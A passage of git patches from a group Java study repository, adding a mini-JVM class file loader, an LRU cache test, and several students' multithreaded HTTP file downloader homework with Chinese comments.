+	 * @param className
+	 * @return
+	 */
+	private String getClassPath(String className){
+		String clazzPath = null;
+		//遍历clzPaths中所有路径
+		for (String path : this.clzPaths){
+			File file = new File(path);
+			clazzPath = getClassPath(className,file);
+			if(clazzPath!=null) break;
+		}
+		return clazzPath;
+	}
+
+	private String getClassPath(String className, File file){
+		String clazzPath = null;
+		if(file.exists()){
+			//如果是目录，则遍历所有目录下的文件
+			if(file.isDirectory()){
+				File[] fs = file.listFiles();
+				for (File f : fs){
+					clazzPath = getClassPath(className,f);
+				}
+			}else {
+				//检查是否是该类对应的class文件
+				if(isClazzFile(file.getName(),className)){
+					clazzPath = file.getAbsolutePath();
+				}
+			}
+		}
+		return clazzPath;
+	}
+
+	private boolean isClazzFile(String filename , String className){
+		String fileClazzName = null;
+		String [] names = filename.split("\\.");
+		if(names.length > 0){
+			fileClazzName = names[0];
+		}
+		return className.endsWith(fileClazzName);
+	}
+	
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+
+	public String getClassPath(){
+		StringBuilder sb = new StringBuilder();
+		int i = 0;
+		for (; i < clzPaths.size() - 1; i++) {
+			sb.append(clzPaths.get(i));
+			sb.append(";");
+		}
+		sb.append(clzPaths.get(i));
+		return sb.toString();
+	}
+}
diff --git a/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java b/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
new file mode 100644
index 0000000000..7448e3ee56
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/code04/LRUPageFrameTest.java
@@ -0,0 +1,38 @@
+package code04;
+
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+        //1，0，7
+		Assert.assertEquals("1,0,7", frame.toString());
+        frame.access(2);
+        //2，1，0
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		//0，2，1
+        Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
+        //0，2，1
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+        //3，0，2
+        Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+        //0，3，2
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		//4，0，3
+        Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
diff --git a/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java b/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
new file mode 100644
index 0000000000..9602743b02
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/mini_jvm/ClassFileloaderTest.java
@@ -0,0 +1,71 @@
+package mini_jvm;
+
+import mini_jvm.loader.ClassFileLoader;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ClassFileloaderTest {
+
+
+	static String path1 = "D:\\worksapce\\gitRepo\\java_coding2017\\coding2017\\group23\\769232552\\coding\\target\\classes";
+	static String path2 = "D:\\worksapce\\gitRepo\\java_coding2017\\coding2017\\group23\\769232552\\coding\\target\\test-classes";
+
+
+	ClassFileLoader loader = new ClassFileLoader();
+
+	@Before
+	public void setUp() throws Exception {
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testClassPath(){
+		String clzPath = loader.getClassPath();
+		Assert.assertEquals(path1+";"+path2,clzPath);
+	}
+
+	@Test
+	public void testClassFileLength() {
+		String className = "mini_jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		Assert.assertEquals(1026, byteCodes.length);
+
+	}
+
+
+    @Test
+	public void testMagicNumber(){
+		String className = "mini_jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		String acctualValue = this.byteToHexString(codes);
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+
+
+
+
+
+
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java b/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
new file mode 100644
index 0000000000..b06f72b9e2
--- /dev/null
+++ b/group23/769232552/coding/src/test/java/mini_jvm/EmployeeV1.java
@@ -0,0 +1,28 @@
+package mini_jvm;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file

From 441ee8dc7b24dc860010309f8a826b36b651ae8b Mon Sep 17 00:00:00 2001
From: chk <changhongkaimail@163.com>
Date: Wed, 29 Mar 2017 15:19:35 +0800
Subject: [PATCH 031/262] week3

---
 .../basic/week3/datastructure/LinkedList.java |  6 ++
 .../com/basic/week3/download/Demo.java        | 36 +++++++
 .../basic/week3/download/DownloadThread.java  | 31 ++++++
 .../basic/week3/download/FileDownloader.java  | 97 +++++++++++++++++++
 .../week3/download/FileDownloaderTest.java    | 59 +++++++++++
 .../basic/week3/download/api/Connection.java  | 24 +++++
 .../download/api/ConnectionException.java     | 12 +++
 .../week3/download/api/ConnectionManager.java | 10 ++
 .../week3/download/api/DownloadListener.java  |  5 +
 .../week3/download/impl/ConnectionImpl.java   | 59 +++++++++++
 .../download/impl/ConnectionManagerImpl.java  | 35 +++++++
 11 files changed, 374 insertions(+)
 create mode 100644 group23/632678665/com/basic/week3/download/Demo.java
 create mode 100644 group23/632678665/com/basic/week3/download/DownloadThread.java
 create mode 100644 group23/632678665/com/basic/week3/download/FileDownloader.java
 create mode 100644 group23/632678665/com/basic/week3/download/FileDownloaderTest.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/Connection.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/ConnectionException.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/ConnectionManager.java
 create mode 100644 group23/632678665/com/basic/week3/download/api/DownloadListener.java
 create mode 100644 group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
 create mode 100644 group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java

diff --git a/group23/632678665/com/basic/week3/datastructure/LinkedList.java b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
index 569831704d..09b08dd25f 100644
--- a/group23/632678665/com/basic/week3/datastructure/LinkedList.java
+++ b/group23/632678665/com/basic/week3/datastructure/LinkedList.java
@@ -178,6 +178,12 @@ public Object next() {
 			return data;
 		}
 
+		@Override
+		public void remove() {
+			// TODO Auto-generated method stub
+			
+		}
+
 	}
 
 	/**
diff --git a/group23/632678665/com/basic/week3/download/Demo.java b/group23/632678665/com/basic/week3/download/Demo.java
new file mode 100644
index 0000000000..f4dc344cb5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/Demo.java
@@ -0,0 +1,36 @@
+package com.basic.week3.download;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.io.RandomAccessFile;
+import java.net.URL;
+
+public class Demo {
+
+	public static void main(String[] args) throws Exception {
+//		File f=new File("E://123.txt");
+//		InputStream ii=new FileInputStream(f);
+//		byte [] b=new byte [2];
+//		int j;
+//		while(true){
+//			if(ii.read(b)==0){
+//				System.out.println("1111");
+//			}
+//			if(ii.read(b)==-1){
+//				System.out.println("3333");
+//			}
+//		}
+		URL url=new URL("Http://localhsot:8080/123.txt");
+		String [] s=url.toString().split("/");
+		for(String str:s){
+			
+		}
+	}
+
+}
diff --git a/group23/632678665/com/basic/week3/download/DownloadThread.java b/group23/632678665/com/basic/week3/download/DownloadThread.java
new file mode 100644
index 0000000000..89b7fdc3f5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/DownloadThread.java
@@ -0,0 +1,31 @@
+package com.basic.week3.download;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.basic.week3.download.api.Connection;
+
+public class DownloadThread extends Thread{
+	public static int count=0;
+	Connection conn;
+	int startPos;
+	int endPos;
+	
+	public DownloadThread(Connection conn, int startPos, int endPos){
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){
+		try {
+			count++;
+			conn.read(startPos, endPos);
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}finally{
+			count--;
+		}
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/FileDownloader.java b/group23/632678665/com/basic/week3/download/FileDownloader.java
new file mode 100644
index 0000000000..d32975f4b5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/FileDownloader.java
@@ -0,0 +1,97 @@
+package com.basic.week3.download;
+
+import com.basic.week3.download.api.Connection;
+import com.basic.week3.download.api.ConnectionException;
+import com.basic.week3.download.api.ConnectionManager;
+import com.basic.week3.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+	Connection conn;
+	
+	DownloadThread dt;
+	
+	private static final int THREAD_NUM=4;
+	public FileDownloader(String _url) {
+		this.url = _url;
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		/*Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();	
+			
+			new DownloadThread(conn,0,length-1).start();
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}*/
+		try {
+			//打开url
+			conn=cm.open(url);
+			//判断资源长度
+			int length=conn.getContentLength();
+			//每个线程所占的资源
+			int off=(int)(length/3);
+			int start=0;
+			for(int i=0;i<THREAD_NUM-1;i++){
+				if(i==2){
+					new DownloadThread(conn,start+off,length-2*off).start();
+					break;
+				}
+				new DownloadThread(conn,start,off).start();
+				start+=off;
+			}
+			while(true){
+				if(DownloadThread.count==0){
+					break;
+				}
+			}
+		} catch (ConnectionException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		} 
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/632678665/com/basic/week3/download/FileDownloaderTest.java b/group23/632678665/com/basic/week3/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..e7509a5256
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.basic.week3.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.basic.week3.download.api.ConnectionManager;
+import com.basic.week3.download.api.DownloadListener;
+import com.basic.week3.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://localhost:8080/test.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/632678665/com/basic/week3/download/api/Connection.java b/group23/632678665/com/basic/week3/download/api/Connection.java
new file mode 100644
index 0000000000..6d82e31950
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/Connection.java
@@ -0,0 +1,24 @@
+package com.basic.week3.download.api;
+
+import java.io.IOException;
+import java.net.URLConnection;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/632678665/com/basic/week3/download/api/ConnectionException.java b/group23/632678665/com/basic/week3/download/api/ConnectionException.java
new file mode 100644
index 0000000000..bbb7648386
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/ConnectionException.java
@@ -0,0 +1,12 @@
+package com.basic.week3.download.api;
+
+import java.io.IOException;
+
+public class ConnectionException extends IOException {
+	public ConnectionException(){
+		super();
+	}
+	public ConnectionException(String message){
+		super(message);
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/api/ConnectionManager.java b/group23/632678665/com/basic/week3/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..0c9ab2a58b
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.basic.week3.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/632678665/com/basic/week3/download/api/DownloadListener.java b/group23/632678665/com/basic/week3/download/api/DownloadListener.java
new file mode 100644
index 0000000000..4855b39ec5
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.basic.week3.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java b/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..99c2ac6996
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/impl/ConnectionImpl.java
@@ -0,0 +1,59 @@
+package com.basic.week3.download.impl;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.net.URLConnection;
+
+import com.basic.week3.download.api.Connection;
+import com.basic.week3.download.api.ConnectionException;
+import com.basic.week3.download.api.ConnectionManager;
+
+public class ConnectionImpl implements Connection{
+	private static final String PATH="E://";
+	private URLConnection urlConnection;
+	private InputStream input;
+	private String fileName;
+	ConnectionImpl(URLConnection urlConnection,String fileName){
+		this.urlConnection=urlConnection;
+		this.fileName=fileName;
+	}
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte [] buffer=new byte [1024];
+		input=urlConnection.getInputStream();
+		RandomAccessFile raFile=new RandomAccessFile(creatLocalFile().toString(),"rw");
+		//读取次数
+		int times=(int)((endPos-startPos-1)/1024);
+		input.skip(startPos);
+		raFile.seek(startPos);
+		for(int i=times;i<=times;i++){
+			int flag=input.read(buffer);
+			raFile.write(buffer,0,buffer.length);
+			if(flag<0){
+				break;
+			}
+		}
+		return buffer;
+	}
+
+	@Override
+	public int getContentLength() {
+		return urlConnection.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		try {
+			input.close();
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+	private File creatLocalFile(){
+		File file=new File(PATH+fileName);
+		return file;
+	}
+}
diff --git a/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java b/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..5ea3bea318
--- /dev/null
+++ b/group23/632678665/com/basic/week3/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,35 @@
+package com.basic.week3.download.impl;
+
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+
+import com.basic.week3.download.api.Connection;
+import com.basic.week3.download.api.ConnectionException;
+import com.basic.week3.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+	
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		URL urlPath=null;
+		Connection conn=null;
+		try {
+			urlPath = new URL(url);
+			URLConnection urlConnection=urlPath.openConnection();
+			//解析文件
+			String [] s =urlPath.toString().split("/");
+			String fileName=s[s.length-1];
+			conn=new ConnectionImpl(urlConnection,fileName);
+		} catch (MalformedURLException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		return conn;
+	}
+
+}

From 47bb69856a9497addee266e1a11225f736324009 Mon Sep 17 00:00:00 2001
From: Pickacat <ken1992149@163.com>
Date: Wed, 29 Mar 2017 22:23:52 +0800
Subject: [PATCH 032/262] =?UTF-8?q?=E7=9B=B4=E6=8E=A5=E4=B8=8B=E8=BD=BDDEM?=
 =?UTF-8?q?O=E5=AE=8C=E6=88=90=EF=BC=8C=E5=A4=9A=E7=BA=BF=E7=A8=8B?=
 =?UTF-8?q?=E4=B8=8B=E8=BD=BD=E8=BF=98=E6=9C=89=E9=97=AE=E9=A2=98=E3=80=82?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../java/com/xiaol/download/DownloadDemo.java |  53 +++++++
 .../com/xiaol/download/DownloadThread.java    |  29 +++-
 .../com/xiaol/download/FileDownloader.java    | 144 +++++++++++-------
 .../xiaol/download/FileDownloaderTest.java    |   4 +-
 .../xiaol/download/impl/ConnectionImpl.java   |  47 +++++-
 .../download/impl/ConnectionManagerImpl.java  |   5 +-
 6 files changed, 214 insertions(+), 68 deletions(-)
 create mode 100644 group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java

diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java
new file mode 100644
index 0000000000..d1ed7bb700
--- /dev/null
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadDemo.java
@@ -0,0 +1,53 @@
+package com.xiaol.download;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+/**
+ * 下载DEMO
+ * @author ShawnLin
+ */
+public class DownloadDemo {
+
+	public void download(String url) {
+		URL u;
+		try {
+			u = new URL(url);
+			HttpURLConnection httpURLConnection = (HttpURLConnection) u.openConnection();
+			int contentLength = httpURLConnection.getContentLength();
+			httpURLConnection.connect();
+			InputStream inputStream = httpURLConnection.getInputStream();
+			File file = new File(getFileName(url));
+			RandomAccessFile raf = new RandomAccessFile(file, "rwd");
+			byte[] read = new byte[1024];
+			int length = 0;
+			while ((length = inputStream.read(read)) != -1) {
+				raf.write(read, 0, length);
+			}
+			inputStream.close();
+			raf.close();
+			System.out.println("下载完毕，位置[" + file.getAbsolutePath() + "]");
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+
+	}
+
+	public String getFileName(String path) {
+		int index = path.lastIndexOf("/");
+		return path.substring(index + 1);
+	}
+
+	public static void main(String[] args) {
+		DownloadDemo dd = new DownloadDemo();
+		String url = "http://ww3.sinaimg.cn/large/729119fdgw1f0nnftw3hij21kw11x4qp.jpg";
+		dd.download(url);
+	}
+}
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
index a038d0da37..cc2da86116 100644
--- a/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/DownloadThread.java
@@ -1,20 +1,37 @@
 package com.xiaol.download;
 
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
 import com.xiaol.download.api.Connection;
+import com.xiaol.download.api.DownloadListener;
 
-public class DownloadThread extends Thread{
+public class DownloadThread extends Thread {
 
 	Connection conn;
 	int startPos;
 	int endPos;
+	RandomAccessFile randomAccessFile;
+	DownloadListener listener;
 
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
+	public DownloadThread(Connection conn, int startPos, int endPos, RandomAccessFile randomAccessFile) {
+		this.randomAccessFile = randomAccessFile;
+		this.conn = conn;
 		this.startPos = startPos;
 		this.endPos = endPos;
 	}
-	public void run(){	
-		
+
+	@Override
+	public void run() {
+		try {
+			byte[] read = conn.read(startPos, endPos);
+			randomAccessFile.seek(startPos);
+			randomAccessFile.write(read, 0, endPos - startPos);
+			System.out.println(this.getName() + "完成下载，从" + startPos + "到" + endPos + "共" + (endPos - startPos));
+			conn.close();
+			FileDownloader.finishCount();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
 	}
 }
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
index cd0b433843..ced422ed96 100644
--- a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloader.java
@@ -1,91 +1,133 @@
 package com.xiaol.download;
 
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
 import com.xiaol.download.api.Connection;
 import com.xiaol.download.api.ConnectionException;
 import com.xiaol.download.api.ConnectionManager;
 import com.xiaol.download.api.DownloadListener;
 
-
 public class FileDownloader {
-	
+
 	String url;
-	
+
 	DownloadListener listener;
-	
+
 	ConnectionManager cm;
-	
+	private static int count = 0;
 
 	public FileDownloader(String _url) {
 		this.url = _url;
-		
+
 	}
-	
-	public void execute(){
+
+	public void execute() {
 		// 在这里实现你的代码， 注意： 需要用多线程实现下载
 		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos,
+		// endPos来指定）
 		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
 		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 1. 需要调用ConnectionManager的open方法打开连接，
+		// 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载， 注意每个线程需要先调用ConnectionManager的open方法
 		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
 		// 3. 把byte数组写入到文件中
 		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
+
 		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-//		Connection conn = null;
-//		try {
-//			
-//			conn = cm.open(this.url);
-//			
-//			int length = conn.getContentLength();	
-//			
-//			new DownloadThread(conn,0,length-1).start();
-//			
-//		} catch (ConnectionException e) {			
-//			e.printStackTrace();
-//		}finally{
-//			if(conn != null){
-//				conn.close();
-//			}
-//		}
-		
-		
+		// Connection conn = null;
+		// try {
+		//
+		// conn = cm.open(this.url);
+		//
+		// int length = conn.getContentLength();
+		//
+		// new DownloadThread(conn,0,length-1).start();
+		//
+		// } catch (ConnectionException e) {
+		// e.printStackTrace();
+		// }finally{
+		// if(conn != null){
+		// conn.close();
+		// }
+		// }
+
 		Connection conn = null;
 		try {
-			
+
+			File file = new File(getFileName(url));
+			RandomAccessFile raf = new RandomAccessFile(file, "rwd");
+			System.out.println("文件下载位置：[" + file.getAbsolutePath() + "]");
+			int threadNum = 3;
 			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
+			int length = conn.getContentLength();
+			int avg = length / threadNum;
+			for (int i = 0; i < threadNum; i++) {
+				Connection cTemp = cm.open(this.url);
+				int start = i * avg;
+				int end = start + avg - 1;
+				if (i == threadNum - 1) {
+					end = length - 1;
+				}
+				new DownloadThread(cTemp, start, end, raf).start();
+			}
+
+			while (true) {
+				if (threadNum == getFinishCount()) {
+					listener.notifyFinished();
+					try {
+						raf.close();
+					} catch (IOException e) {
+						e.printStackTrace();
+					}
+					break;
+				}
+			}
+		} catch (ConnectionException e) {
+			e.printStackTrace();
+		} catch (FileNotFoundException e) {
 			e.printStackTrace();
-		}finally{
-			if(conn != null){
+		} finally {
+			if (conn != null) {
 				conn.close();
 			}
 		}
-		
-		
-		
-		
+
 	}
-	
+
+	/**
+	 * 获取文件名
+	 * 
+	 * @param path
+	 * @return
+	 */
+	public String getFileName(String path) {
+		int index = path.lastIndexOf("/");
+		return path.substring(index + 1);
+	}
+
 	public void setListener(DownloadListener listener) {
 		this.listener = listener;
 	}
 
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
+	public void setConnectionManager(ConnectionManager ucm) {
 		this.cm = ucm;
 	}
-	
-	public DownloadListener getListener(){
+
+	public DownloadListener getListener() {
 		return this.listener;
 	}
-	
+
+	public static void finishCount() {
+		count++;
+	}
+
+	public int getFinishCount() {
+		return count;
+	}
 }
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
index f76ba7ff38..3656f4a7da 100644
--- a/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/FileDownloaderTest.java
@@ -22,7 +22,7 @@ public void tearDown() throws Exception {
 	public void testDownload() {
 		
 //		String url = "http://localhost:8080/test.jpg";
-		String url = "http://img4.duitang.com/uploads/item/201411/09/20141109224803_GXSri.jpeg";
+		String url = "http://ww3.sinaimg.cn/large/729119fdgw1f0nnftw3hij21kw11x4qp.jpg";
 		
 		FileDownloader downloader = new FileDownloader(url);
 
@@ -46,7 +46,7 @@ public void notifyFinished() {
 			try {
 				System.out.println("还没有下载完成，休眠五秒");
 				//休眠5秒
-				Thread.sleep(5000);
+				Thread.sleep(5);
 			} catch (InterruptedException e) {				
 				e.printStackTrace();
 			}
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
index 3cc898e626..8f19cb40e8 100644
--- a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionImpl.java
@@ -1,27 +1,60 @@
 package com.xiaol.download.impl;
 
 import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
 
 import com.xiaol.download.api.Connection;
 
-public class ConnectionImpl implements Connection{
+public class ConnectionImpl implements Connection {
+
+	private HttpURLConnection httpURLConnection;
+
+	public ConnectionImpl(String url) {
+		try {
+			this.httpURLConnection = (HttpURLConnection) new URL(url).openConnection();
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
 
 	@Override
 	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
+		httpURLConnection.setRequestMethod("GET");
+		httpURLConnection.setConnectTimeout(5000);
+		httpURLConnection.setReadTimeout(5000);
+		httpURLConnection.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		httpURLConnection.connect();
+		List list = new ArrayList<>();
+		byte[] byteArray = null;
+		byte[] read = new byte[1024];
+		int length = 0;
